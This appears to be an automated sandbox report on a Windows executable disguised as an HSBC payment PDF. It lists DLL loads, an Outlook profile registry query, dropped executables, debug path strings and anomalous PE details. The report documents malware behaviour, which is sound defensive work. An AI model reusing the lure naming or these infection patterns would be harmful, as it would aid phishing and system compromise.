Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: mfplat.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: rtworkq.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: windows.devices.perception.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: mediafoundation.defaultperceptionprovider.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: windows.devices.enumeration.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: structuredquery.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: windows.globalization.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: icu.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: mswb7.dll
Source: C:\Windows\System32\SensorDataService.exe	Section loaded: devdispitemprovider.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: spectrumsyncclient.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: perceptionsimulationextensions.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: hid.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: holographicruntimes.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: perceptiondevice.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: spatialstore.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: esent.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: analogcommonproxystub.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: capabilityaccessmanagerclient.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: windows.devices.enumeration.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: structuredquery.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: windows.globalization.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: icu.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: mswb7.dll
Source: C:\Windows\System32\Spectrum.exe	Section loaded: devdispitemprovider.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: libcrypto.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: esent.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: clusapi.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\TieringEngineService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: fltlib.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: version.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\AgentService.exe	Section loaded: appmanagementconfiguration.dll
Source: C:\Windows\System32\vds.exe	Section loaded: atl.dll
Source: C:\Windows\System32\vds.exe	Section loaded: osuninst.dll
Source: C:\Windows\System32\vds.exe	Section loaded: vdsutil.dll
Source: C:\Windows\System32\vds.exe	Section loaded: bcd.dll
Source: C:\Windows\System32\vds.exe	Section loaded: uexfat.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ifsutil.dll
Source: C:\Windows\System32\vds.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\vds.exe	Section loaded: uudf.dll
Source: C:\Windows\System32\vds.exe	Section loaded: untfs.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ufat.dll
Source: C:\Windows\System32\vds.exe	Section loaded: fmifs.dll
Source: C:\Windows\System32\vds.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: virtdisk.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: bcd.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: spp.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: clusapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: wer.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: fltlib.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: fveapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: cscapi.dll

Source: C:\Windows\System32\msdtc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{304CE942-6E39-40D8-943A-B913C40C9CD4}\InprocServer32

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Drops executable to a common third party application directory

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Static file information: File size 1539072 > 1048576

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb77.GCTL source: armsvc.exe, 00000004.00000003.1923223807.0000000000930000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1312938919.0000000003DD0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdb source: armsvc.exe, 00000004.00000003.1979488367.0000000000930000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.2001927405.0000000000700000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1983124176.0000000000930000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msiexec.pdb source: armsvc.exe, 00000004.00000003.1396239663.00000000020E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcrobatInfo.pdb source: armsvc.exe, 00000004.00000003.1613322674.0000000001F90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ssh-agent.pdb source: armsvc.exe, 00000004.00000003.1495681450.0000000002000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\TextExtractor.pdb444 source: armsvc.exe, 00000004.00000003.1730926356.0000000001F90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\TextExtractor.pdb source: armsvc.exe, 00000004.00000003.1730926356.0000000001F90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msiexec.pdbGCTL source: armsvc.exe, 00000004.00000003.1396239663.00000000020E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdb source: armsvc.exe, 00000004.00000003.1747463030.0000000001F90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdbGCTL source: armsvc.exe, 00000004.00000003.2045470839.00000000009D0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.2048639803.00000000009B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdb source: armsvc.exe, 00000004.00000003.1358380690.0000000002000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PerceptionSimulationService.pdb source: armsvc.exe, 00000004.00000003.1417715785.00000000020D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1332580741.0000000004890000.00000004.00001000.00020000.00000000.sdmp, HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1327392894.00000000046F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdb source: armsvc.exe, 00000004.00000003.1652725988.0000000001F90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: MsSense.pdbGCTL source: armsvc.exe, 00000004.00000003.1442209675.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\pi_brokers\MSRMSPIBroker.pdbAAAGCTL source: armsvc.exe, 00000004.00000003.1917141745.0000000000700000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: MsSense.pdb source: armsvc.exe, 00000004.00000003.1442209675.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdb source: armsvc.exe, 00000004.00000003.2033255975.0000000000930000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb source: armsvc.exe, 00000004.00000003.1930594845.0000000000930000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1938936279.0000000000700000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WmiApSrv.pdbGCTL source: armsvc.exe, 00000004.00000003.1547399003.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WCChromeNativeMessagingHost.pdb888 source: armsvc.exe, 00000004.00000003.1790951531.0000000002010000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Acrobat_SL.pdb((( source: armsvc.exe, 00000004.00000003.1621983603.0000000001F90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: locator.pdb source: armsvc.exe, 00000004.00000003.1434957470.0000000001F70000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1428827763.0000000002000000.00000004.00001000.00020000.00000000.sdmp, Locator.exe.4.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AdobeCollabSync.pdb# source: AdobeCollabSync.exe.4.dr
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdbGCTL source: armsvc.exe, 00000004.00000003.1348039233.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdbCC9 source: armsvc.exe, 00000004.00000003.1747463030.0000000001F90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vds.pdb source: vds.exe.4.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcroBroker.pdb source: armsvc.exe, 00000004.00000003.1634257256.0000000001F90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\unpackexe\unpack200.pdb00 source: unpack200.exe.4.dr
Source:	Binary string: Acrobat_SL.pdb source: armsvc.exe, 00000004.00000003.1621983603.0000000001F90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdbU source: armsvc.exe, 00000004.00000003.1979488367.0000000000930000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.2001927405.0000000000700000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1983124176.0000000000930000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\java_objs\java.pdb source: java.exe.4.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdbT source: armsvc.exe, 00000004.00000003.1652725988.0000000001F90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\workspace\CR-Windows-x64-Client-Builder\x64\Release\CRWindowsClientService.pdbGG source: armsvc.exe, 00000004.00000003.1821282243.0000000002010000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcrobatInfo.pdb))) source: armsvc.exe, 00000004.00000003.1613322674.0000000001F90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdb source: armsvc.exe, 00000004.00000003.2045470839.00000000009D0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.2048639803.00000000009B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb source: armsvc.exe, 00000004.00000003.1384712298.00000000020E0000.00000004.00001000.00020000.00000000.sdmp, maintenanceservice.exe.4.dr
Source:	Binary string: msdtcexe.pdbGCTL source: armsvc.exe, 00000004.00000003.1388415236.00000000020E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: snmptrap.pdbGCTL source: armsvc.exe, 00000004.00000003.1461927383.0000000002050000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PerceptionSimulationService.pdbGCTL source: armsvc.exe, 00000004.00000003.1417715785.00000000020D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: 64BitMAPIBroker.pdb source: armsvc.exe, 00000004.00000003.1904523018.0000000002010000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PerfHost.pdbGCTL source: armsvc.exe, 00000004.00000003.1423264102.00000000020D0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1427509950.0000000001F90000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1422433312.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdbY source: armsvc.exe, 00000004.00000003.2033255975.0000000000930000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\jenkins\workspace\NGL_WORKFLOW\build\master\win64\Release\Acrobat\project\win\ngl-workflow\x64\Release (Acrobat)\adobe_licensing_wf_helper_acro.pdb source: armsvc.exe, 00000004.00000003.1875324532.0000000002010000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WCChromeNativeMessagingHost.pdb source: armsvc.exe, 00000004.00000003.1790951531.0000000002010000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PerfHost.pdb source: armsvc.exe, 00000004.00000003.1423264102.00000000020D0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1427509950.0000000001F90000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1422433312.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb@@ source: armsvc.exe, 00000004.00000003.1881243622.0000000002010000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\workspace\CR-Windows-x64-Client-Builder\x64\Release\CRWindowsClientService.pdb source: armsvc.exe, 00000004.00000003.1821282243.0000000002010000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb source: armsvc.exe, 00000004.00000003.1923223807.0000000000930000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\pi_brokers\MSRMSPIBroker.pdb source: armsvc.exe, 00000004.00000003.1917141745.0000000000700000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb` source: armsvc.exe, 00000004.00000003.1384712298.00000000020E0000.00000004.00001000.00020000.00000000.sdmp, maintenanceservice.exe.4.dr
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb$$ source: armsvc.exe, 00000004.00000003.1930594845.0000000000930000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1938936279.0000000000700000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1332580741.0000000004890000.00000004.00001000.00020000.00000000.sdmp, HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1327392894.00000000046F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WmiApSrv.pdb source: armsvc.exe, 00000004.00000003.1547399003.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: TieringEngineService.pdb source: armsvc.exe, 00000004.00000003.1502999442.0000000002000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: TieringEngineService.pdbGCTL source: armsvc.exe, 00000004.00000003.1502999442.0000000002000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\Eula.pdb source: armsvc.exe, 00000004.00000003.1828436322.0000000002010000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdb source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1316924828.0000000003DD0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msdtcexe.pdb source: armsvc.exe, 00000004.00000003.1388415236.00000000020E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdb source: armsvc.exe, 00000004.00000003.1348039233.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdbGCTL source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.1316924828.0000000003DD0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: armsvc.exe, 00000004.00000003.1358380690.0000000002000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: locator.pdbGCTL source: armsvc.exe, 00000004.00000003.1434957470.0000000001F70000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1428827763.0000000002000000.00000004.00001000.00020000.00000000.sdmp, Locator.exe.4.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcroBroker.pdbTTT source: armsvc.exe, 00000004.00000003.1634257256.0000000001F90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vds.pdbGCTL source: vds.exe.4.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\unpackexe\unpack200.pdb source: unpack200.exe.4.dr
Source:	Binary string: ssh-agent.pdbX source: armsvc.exe, 00000004.00000003.1495681450.0000000002000000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVShNotify.pdb source: armsvc.exe, 00000004.00000003.2027358358.00000000009B0000.00000004.00001000.00020000.00000000.sdmp, AppVShNotify.exe.4.dr
Source:	Binary string: snmptrap.pdb source: armsvc.exe, 00000004.00000003.1461927383.0000000002050000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb source: armsvc.exe, 00000004.00000003.1881243622.0000000002010000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AdobeCollabSync.pdb source: AdobeCollabSync.exe.4.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\Eula.pdb888 source: armsvc.exe, 00000004.00000003.1828436322.0000000002010000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVShNotify.pdbGCTL source: armsvc.exe, 00000004.00000003.2027358358.00000000009B0000.00000004.00001000.00020000.00000000.sdmp, AppVShNotify.exe.4.dr

Source: alg.exe.0.dr

Static PE information: 0xF67E8745 [Tue Jan 18 10:28:21 2101 UTC]

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_00404B37 LoadLibraryA,GetProcAddress,

0_2_00404B37

Source: AppVClient.exe.0.dr

Static PE information: real checksum: 0xcd10f should be: 0x14ff8b

Source: armsvc.exe.0.dr	Static PE information: section name: .didat
Source: alg.exe.0.dr	Static PE information: section name: .didat
Source: chrome_proxy.exe.4.dr	Static PE information: section name: .00cfg
Source: chrome_proxy.exe.4.dr	Static PE information: section name: .gxfg
Source: chrome_proxy.exe.4.dr	Static PE information: section name: .retplne
Source: chrome_proxy.exe.4.dr	Static PE information: section name: _RDATA
Source: chrome_proxy.exe.4.dr	Static PE information: section name: malloc_h
Source: crashreporter.exe.4.dr	Static PE information: section name: .00cfg
Source: crashreporter.exe.4.dr	Static PE information: section name: .voltbl
Source: GoogleCrashHandler64.exe.4.dr	Static PE information: section name: _RDATA
Source: GoogleCrashHandler64.exe.4.dr	Static PE information: section name: .gxfg
Source: GoogleCrashHandler64.exe.4.dr	Static PE information: section name: .gehcont
Source: default-browser-agent.exe.4.dr	Static PE information: section name: .00cfg
Source: default-browser-agent.exe.4.dr	Static PE information: section name: .voltbl
Source: GoogleUpdateComRegisterShell64.exe.4.dr	Static PE information: section name: _RDATA
Source: GoogleUpdateComRegisterShell64.exe.4.dr	Static PE information: section name: .gxfg
Source: GoogleUpdateComRegisterShell64.exe.4.dr	Static PE information: section name: .gehcont
Source: firefox.exe.4.dr	Static PE information: section name: .00cfg
Source: firefox.exe.4.dr	Static PE information: section name: .freestd
Source: firefox.exe.4.dr	Static PE information: section name: .retplne
Source: firefox.exe.4.dr	Static PE information: section name: .voltbl
Source: maintenanceservice.exe.4.dr	Static PE information: section name: .00cfg
Source: maintenanceservice.exe.4.dr	Static PE information: section name: .voltbl
Source: maintenanceservice.exe.4.dr	Static PE information: section name: _RDATA
Source: minidump-analyzer.exe.4.dr	Static PE information: section name: .00cfg
Source: minidump-analyzer.exe.4.dr	Static PE information: section name: .voltbl
Source: pingsender.exe.4.dr	Static PE information: section name: .00cfg
Source: pingsender.exe.4.dr	Static PE information: section name: .voltbl
Source: plugin-container.exe.4.dr	Static PE information: section name: .00cfg
Source: plugin-container.exe.4.dr	Static PE information: section name: .voltbl
Source: private_browsing.exe.4.dr	Static PE information: section name: .00cfg
Source: private_browsing.exe.4.dr	Static PE information: section name: .voltbl
Source: updater.exe.4.dr	Static PE information: section name: .00cfg
Source: updater.exe.4.dr	Static PE information: section name: .voltbl
Source: updater.exe.4.dr	Static PE information: section name: _RDATA
Source: FXSSVC.exe.4.dr	Static PE information: section name: .didat
Source: elevation_service.exe.4.dr	Static PE information: section name: .00cfg
Source: elevation_service.exe.4.dr	Static PE information: section name: .gxfg
Source: elevation_service.exe.4.dr	Static PE information: section name: .retplne
Source: elevation_service.exe.4.dr	Static PE information: section name: _RDATA
Source: elevation_service.exe.4.dr	Static PE information: section name: malloc_h
Source: elevation_service.exe0.4.dr	Static PE information: section name: .00cfg
Source: elevation_service.exe0.4.dr	Static PE information: section name: .gxfg
Source: elevation_service.exe0.4.dr	Static PE information: section name: .retplne
Source: elevation_service.exe0.4.dr	Static PE information: section name: _RDATA
Source: elevation_service.exe0.4.dr	Static PE information: section name: malloc_h
Source: maintenanceservice.exe0.4.dr	Static PE information: section name: .00cfg
Source: maintenanceservice.exe0.4.dr	Static PE information: section name: .voltbl
Source: maintenanceservice.exe0.4.dr	Static PE information: section name: _RDATA
Source: msdtc.exe.4.dr	Static PE information: section name: .didat
Source: msiexec.exe.4.dr	Static PE information: section name: .didat
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.4.dr	Static PE information: section name: .00cfg
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.4.dr	Static PE information: section name: .retplne
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.4.dr	Static PE information: section name: .00cfg
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.4.dr	Static PE information: section name: .retplne
Source: MsSense.exe.4.dr	Static PE information: section name: .didat
Source: Spectrum.exe.4.dr	Static PE information: section name: .didat
Source: TieringEngineService.exe.4.dr	Static PE information: section name: .didat
Source: vds.exe.4.dr	Static PE information: section name: .didat
Source: VSSVC.exe.4.dr	Static PE information: section name: .didat
Source: WmiApSrv.exe.4.dr	Static PE information: section name: .didat
Source: wmpnetwk.exe.4.dr	Static PE information: section name: .didat
Source: SearchIndexer.exe.4.dr	Static PE information: section name: .didat
Source: unpack200.exe.4.dr	Static PE information: section name: .00cfg
